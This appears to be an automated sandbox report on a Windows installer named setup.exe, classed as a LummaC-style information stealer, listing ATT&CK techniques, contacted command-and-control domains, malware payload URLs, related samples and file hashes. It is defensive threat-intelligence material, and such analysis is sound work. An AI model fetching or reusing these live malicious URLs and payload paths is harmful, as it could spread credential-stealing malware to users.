Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	121 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
setup.exe	10%	Virustotal		Browse

Source	Detection	Scanner	Label
https://sickyicyerh.click/v	0%	Avira URL Cloud	safe
https://sickyicyerh.click/apiE	0%	Avira URL Cloud	safe
https://sickyicyerh.click/pK	0%	Avira URL Cloud	safe
https://kliptizq.shop/	100%	Avira URL Cloud	malware
http://crl.mi919	0%	Avira URL Cloud	safe
https://neqi.shop/sdgjyut/psh.txt	100%	Avira URL Cloud	malware
https://kliptizq.shop/s	100%	Avira URL Cloud	malware
https://sickyicyerh.click:443/api	0%	Avira URL Cloud	safe
https://sickyicyerh.click/api	0%	Avira URL Cloud	safe
https://sickyicyerh.click/apiB	0%	Avira URL Cloud	safe
https://sickyicyerh.click/k	0%	Avira URL Cloud	safe
https://neqi.shop/	100%	Avira URL Cloud	malware
https://sickyicyerh.click/api2	0%	Avira URL Cloud	safe
https://sickyicyerh.click/apiSo	0%	Avira URL Cloud	safe
https://sickyicyerh.click/	0%	Avira URL Cloud	safe
https://kliptizq.shop/int_clp_ldr_sha.txtR3Y	100%	Avira URL Cloud	malware
https://neqi.shop/sdgjyut/psh.txtOb)	100%	Avira URL Cloud	malware
sickyicyerh.click	0%	Avira URL Cloud	safe
https://neqi.shop/sdgjyut/psh.txt3b=	100%	Avira URL Cloud	malware
https://neqi.shop/=b7	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
sickyicyerh.click	104.21.82.188	true	true	unknown
kliptizq.shop	172.67.191.144	true	false	high
neqi.shop	104.21.27.229	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
slipperyloo.lat	false		high
curverpluch.lat	false		high
tentabatte.lat	false		high
manyrestro.lat	false		high
https://neqi.shop/sdgjyut/psh.txt	false	Avira URL Cloud: malware	unknown
https://sickyicyerh.click/api	true	Avira URL Cloud: safe	unknown
bashfulacid.lat	false		high
wordyfindy.lat	false		high
shapestickyr.lat	false		high
talkynicer.lat	false		high
sickyicyerh.click	true	Avira URL Cloud: safe	unknown
https://kliptizq.shop/int_clp_ldr_sha.txt	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	powershell.exe, 00000005.00000002.2365060562.0000000005300000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	setup.exe, 00000000.00000003.2152659329.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152724716.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152603259.0000000003E6B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	setup.exe, 00000000.00000003.2152659329.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152724716.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152603259.0000000003E6B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sickyicyerh.click/v	setup.exe, 00000000.00000002.2357204727.000000000065A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sickyicyerh.click/pK	setup.exe, 00000000.00000003.2245009127.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2357915087.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2355396691.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2289106620.00000000006DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	setup.exe	false		high
http://ocsp.sectigo.com0	setup.exe	false		high
https://kliptizq.shop/	setup.exe, 00000000.00000003.2355282400.000000000072B000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2358000167.000000000072B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.microsoft	powershell.exe, 00000003.00000002.2382410682.0000000008894000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000003.00000002.2377898898.0000000006094000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sickyicyerh.click:443/api	setup.exe, 00000000.00000003.2175465426.0000000000742000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.cloudflare.com/learning/access-management/phishhZ	powershell.exe, 00000005.00000002.2365060562.0000000005347000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	setup.exe, 00000000.00000003.2152659329.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152724716.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152603259.0000000003E6B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	setup.exe	false		high
https://kliptizq.shop/s	setup.exe, 00000000.00000003.2355282400.000000000072B000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2358000167.000000000072B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.cloudflare.com/learning/access-management/phishing-attack/class=cf-btnstyle=background-c	powershell.exe, 00000005.00000002.2362834524.0000000002EDF000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2363983897.0000000003230000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2364694857.0000000003300000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2362834524.0000000002E5B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://go.micros	powershell.exe, 00000003.00000002.2369464067.000000000550E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sickyicyerh.click/apiE	setup.exe, 00000000.00000003.2243670200.000000000072B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.mi919	powershell.exe, 00000003.00000002.2380224597.00000000078BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	setup.exe, 00000000.00000003.2197240113.0000000003F3D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	setup.exe, 00000000.00000003.2197240113.0000000003F3D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/learning/access-management/phish	powershell.exe, 00000005.00000002.2365060562.0000000005347000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	setup.exe, 00000000.00000003.2152659329.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152724716.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152603259.0000000003E6B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sickyicyerh.click/apiB	setup.exe, 00000000.00000002.2357204727.000000000065A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000003.00000002.2377898898.0000000006094000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.2377898898.0000000006094000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lBjq	powershell.exe, 00000003.00000002.2369464067.0000000005031000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2365060562.0000000004FA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sickyicyerh.click/	setup.exe, setup.exe, 00000000.00000003.2223164256.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2357915087.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2222949494.00000000006D4000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2151699757.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2355396691.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2357204727.000000000065A000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2289106620.00000000006DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.cloudflare.com/5xx-error-landinghZ	powershell.exe, 00000005.00000002.2365060562.0000000005347000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sickyicyerh.click/k	setup.exe, 00000000.00000003.2223164256.00000000006DE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2222949494.00000000006D4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	setup.exe, 00000000.00000003.2198180990.0000000004153000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.2369464067.0000000005031000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2365060562.0000000004FA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sickyicyerh.click/api2	setup.exe, 00000000.00000002.2357204727.000000000065A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.innosetup.com/	setup.exe	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.2377898898.0000000006094000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000003.00000002.2369464067.0000000005186000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	setup.exe	false		high
https://neqi.shop/sdgjyut/psh.txtOb)	setup.exe, 00000000.00000003.2355282400.000000000073C000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2358000167.000000000073C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	setup.exe, 00000000.00000003.2152659329.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152724716.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152603259.0000000003E6B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000003.00000002.2369464067.0000000005186000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000003.00000002.2369464067.0000000005186000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000003.00000002.2369464067.0000000005186000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/learning/access-management/phishing-atX)	powershell.exe, 00000005.00000002.2365060562.0000000005347000.00000004.00000800.00020000.00000000.sdmp	false		high
https://neqi.shop/	setup.exe, setup.exe, 00000000.00000003.2355282400.000000000073C000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2358000167.000000000073C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contoso.com/Icon	powershell.exe, 00000003.00000002.2377898898.0000000006094000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	setup.exe	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	setup.exe, 00000000.00000003.2152659329.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152724716.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152603259.0000000003E6B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	setup.exe, 00000000.00000003.2197240113.0000000003F3D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	setup.exe, 00000000.00000003.2197240113.0000000003F3D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	setup.exe, 00000000.00000003.2152659329.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152724716.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152603259.0000000003E6B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://kliptizq.shop/int_clp_ldr_sha.txtR3Y	setup.exe, 00000000.00000003.2355282400.000000000072B000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2358000167.000000000072B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	setup.exe, 00000000.00000003.2198180990.0000000004153000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000003.00000002.2369464067.0000000005186000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/5xx-error-landing	powershell.exe, 00000005.00000002.2365060562.0000000005300000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/5xx-error-landingid=brand_linktarget=_blank	powershell.exe, 00000005.00000002.2362834524.0000000002EDF000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2363983897.0000000003230000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2364694857.0000000003300000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2362834524.0000000002E5B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	setup.exe, 00000000.00000003.2152659329.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152724716.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152603259.0000000003E6B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	setup.exe	false		high
http://www.remobjects.com/psU	setup.exe	false		high
http://crl.micro	powershell.exe, 00000003.00000002.2382329138.0000000008872000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	setup.exe	false		high
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	setup.exe	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000003.00000002.2369464067.0000000005186000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	setup.exe, 00000000.00000003.2197240113.0000000003F3D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sickyicyerh.click/apiSo	setup.exe, 00000000.00000003.2223129998.0000000000742000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2222778947.000000000073C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.remobjects.com/ps	setup.exe	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	setup.exe, 00000000.00000003.2152659329.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152724716.0000000003E68000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2152603259.0000000003E6B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://neqi.shop/sdgjyut/psh.txt3b=	setup.exe, 00000000.00000003.2355282400.000000000073C000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2358000167.000000000073C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://neqi.shop/=b7	setup.exe, 00000000.00000003.2355282400.000000000073C000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2358000167.000000000073C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.cloudflare.com/5xx-error-landingmance	powershell.exe, 00000005.00000002.2362834524.0000000002E8F000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.82.188	sickyicyerh.click	United States	13335	CLOUDFLARENETUS	true
104.21.27.229	neqi.shop	United States	13335	CLOUDFLARENETUS	false
172.67.191.144	kliptizq.shop	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580127
Start date and time:	2024-12-24 01:16:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	setup.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/7@3/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 17 Number of non-executed functions: 7
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 6628 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7164 because it is empty
Execution Graph export aborted for target setup.exe, PID 3448 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:17:09	API Interceptor	9x Sleep call for process: setup.exe modified
19:17:31	API Interceptor	18x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.27.229	Setup.exe	Get hash	malicious	LummaC	Browse
104.21.27.229	Setup.exe	Get hash	malicious	LummaC	Browse
172.67.191.144	AutoUpdate.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	setup.exe	Get hash	malicious	LummaC	Browse
	'Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	update_1630227239.dll	Get hash	malicious	IcedID	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
kliptizq.shop	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.84.113
	AutoUpdate.exe	Get hash	malicious	LummaC	Browse	172.67.191.144
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.191.144
	Full_Ver_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.84.113
	setup.exe	Get hash	malicious	LummaC	Browse	104.21.84.113
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.84.113
	setup.exe	Get hash	malicious	LummaC	Browse	172.67.191.144
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.84.113
	'Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.191.144
neqi.shop	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.27.229
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.27.229
	AutoUpdate.exe	Get hash	malicious	LummaC	Browse	172.67.169.205
	Setup.exe	Get hash	malicious	LummaC	Browse	194.58.112.174
	Setup.exe	Get hash	malicious	LummaC	Browse	194.58.112.174
	Full_Ver_Setup.exe	Get hash	malicious	LummaC	Browse	194.58.112.174

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.27.229
	installer.msi	Get hash	malicious	Unknown	Browse	104.21.80.93
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.58.45
	AutoUpdate.exe	Get hash	malicious	LummaC	Browse	172.67.169.205
	EPIRTURMEROOO0060.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	https://en.newsnowbangla.com/archives/69912	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	104.17.25.14
	https://u48917305.ct.sendgrid.net/ls/click?upn=u001.ztQPJiWtq2gO8V-2Ftd7SxY9UCAq3VScTPSloeIw5UEMPd6e3nbPRvJ98moPTqmrdQ1eNbvwZHJ-2BEb4HrooVFNCTltmXW6SgRONKSmPzdFoWfDQT97cczFZ0vj7M2xBd2izDTi-2BL-2BoVqB8yVzV2GW7vOPvy3s9yVghrOS5vs-2BSnWyzJMkXQxVEReq4oLCDet7QAOvo_JkpSD-2Bg6VoLAQppUKMb-2BxDh4v4nbOeQFT31aoN-2FLkhvFCzY6wdlGM7RTNIi47OKR1tTaghG8tTKssArDNPSXAfX9wO6nsZ2FHn-2FunyaOti-2FaII-2FnbKYDXJOImW-2Bs9f4tYnWj8rqO7L0kp4KNRHBDo0iHoL8DEOGc8GMtzqzsIqERel6-2FxJyY4DBnsnUTOc2I4HCPKA6lxcCEXMtxEA1-2FnQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Proforma Invoice.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	HUBED342024.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
CLOUDFLARENETUS	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.27.229
	installer.msi	Get hash	malicious	Unknown	Browse	104.21.80.93
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.58.45
	AutoUpdate.exe	Get hash	malicious	LummaC	Browse	172.67.169.205
	EPIRTURMEROOO0060.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	https://en.newsnowbangla.com/archives/69912	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	104.17.25.14
	https://u48917305.ct.sendgrid.net/ls/click?upn=u001.ztQPJiWtq2gO8V-2Ftd7SxY9UCAq3VScTPSloeIw5UEMPd6e3nbPRvJ98moPTqmrdQ1eNbvwZHJ-2BEb4HrooVFNCTltmXW6SgRONKSmPzdFoWfDQT97cczFZ0vj7M2xBd2izDTi-2BL-2BoVqB8yVzV2GW7vOPvy3s9yVghrOS5vs-2BSnWyzJMkXQxVEReq4oLCDet7QAOvo_JkpSD-2Bg6VoLAQppUKMb-2BxDh4v4nbOeQFT31aoN-2FLkhvFCzY6wdlGM7RTNIi47OKR1tTaghG8tTKssArDNPSXAfX9wO6nsZ2FHn-2FunyaOti-2FaII-2FnbKYDXJOImW-2Bs9f4tYnWj8rqO7L0kp4KNRHBDo0iHoL8DEOGc8GMtzqzsIqERel6-2FxJyY4DBnsnUTOc2I4HCPKA6lxcCEXMtxEA1-2FnQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Proforma Invoice.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	HUBED342024.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
CLOUDFLARENETUS	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.27.229
	installer.msi	Get hash	malicious	Unknown	Browse	104.21.80.93
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.58.45
	AutoUpdate.exe	Get hash	malicious	LummaC	Browse	172.67.169.205
	EPIRTURMEROOO0060.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	https://en.newsnowbangla.com/archives/69912	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	104.17.25.14
	https://u48917305.ct.sendgrid.net/ls/click?upn=u001.ztQPJiWtq2gO8V-2Ftd7SxY9UCAq3VScTPSloeIw5UEMPd6e3nbPRvJ98moPTqmrdQ1eNbvwZHJ-2BEb4HrooVFNCTltmXW6SgRONKSmPzdFoWfDQT97cczFZ0vj7M2xBd2izDTi-2BL-2BoVqB8yVzV2GW7vOPvy3s9yVghrOS5vs-2BSnWyzJMkXQxVEReq4oLCDet7QAOvo_JkpSD-2Bg6VoLAQppUKMb-2BxDh4v4nbOeQFT31aoN-2FLkhvFCzY6wdlGM7RTNIi47OKR1tTaghG8tTKssArDNPSXAfX9wO6nsZ2FHn-2FunyaOti-2FaII-2FnbKYDXJOImW-2Bs9f4tYnWj8rqO7L0kp4KNRHBDo0iHoL8DEOGc8GMtzqzsIqERel6-2FxJyY4DBnsnUTOc2I4HCPKA6lxcCEXMtxEA1-2FnQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Proforma Invoice.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	HUBED342024.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.27.229 172.67.191.144 104.21.82.188
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.27.229 172.67.191.144 104.21.82.188
	AutoUpdate.exe	Get hash	malicious	LummaC	Browse	104.21.27.229 172.67.191.144 104.21.82.188
	Violated Heroine_91zbZ-1.exe	Get hash	malicious	Unknown	Browse	104.21.27.229 172.67.191.144 104.21.82.188
	xlSzrIs5h6.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.27.229 172.67.191.144 104.21.82.188
	ZysXVT72cl.exe	Get hash	malicious	LummaC	Browse	104.21.27.229 172.67.191.144 104.21.82.188
	NxqDwaYpbp.exe	Get hash	malicious	LummaC	Browse	104.21.27.229 172.67.191.144 104.21.82.188
	NAnOVCOt4L.exe	Get hash	malicious	LummaC	Browse	104.21.27.229 172.67.191.144 104.21.82.188
	2jx1O1t486.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.27.229 172.67.191.144 104.21.82.188
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse	104.21.27.229 172.67.191.144 104.21.82.188

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:NlllulPki/llllZ:NllUcylll
MD5:	D8D47FD6FA3E199E4AFF68B91F1D04A8
SHA1:	788625E414B030E5174C5BE7262A4C93502C2C21
SHA-256:	2D9AF9AB25D04D1CF9B25DB196A988CD6E4124C1B8E185B96F2AB9554F4A6738
SHA-512:	5BFD83D07DC3CB53563F215BE1D4D7206340A4C0AB06988697637C402793146D13CDDE0E27DC8301E4506553D957876AC9D7A7BF3C7431BBDD5F019C17AB0A58
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e.................................^..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_azn0nrcf.gbs.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
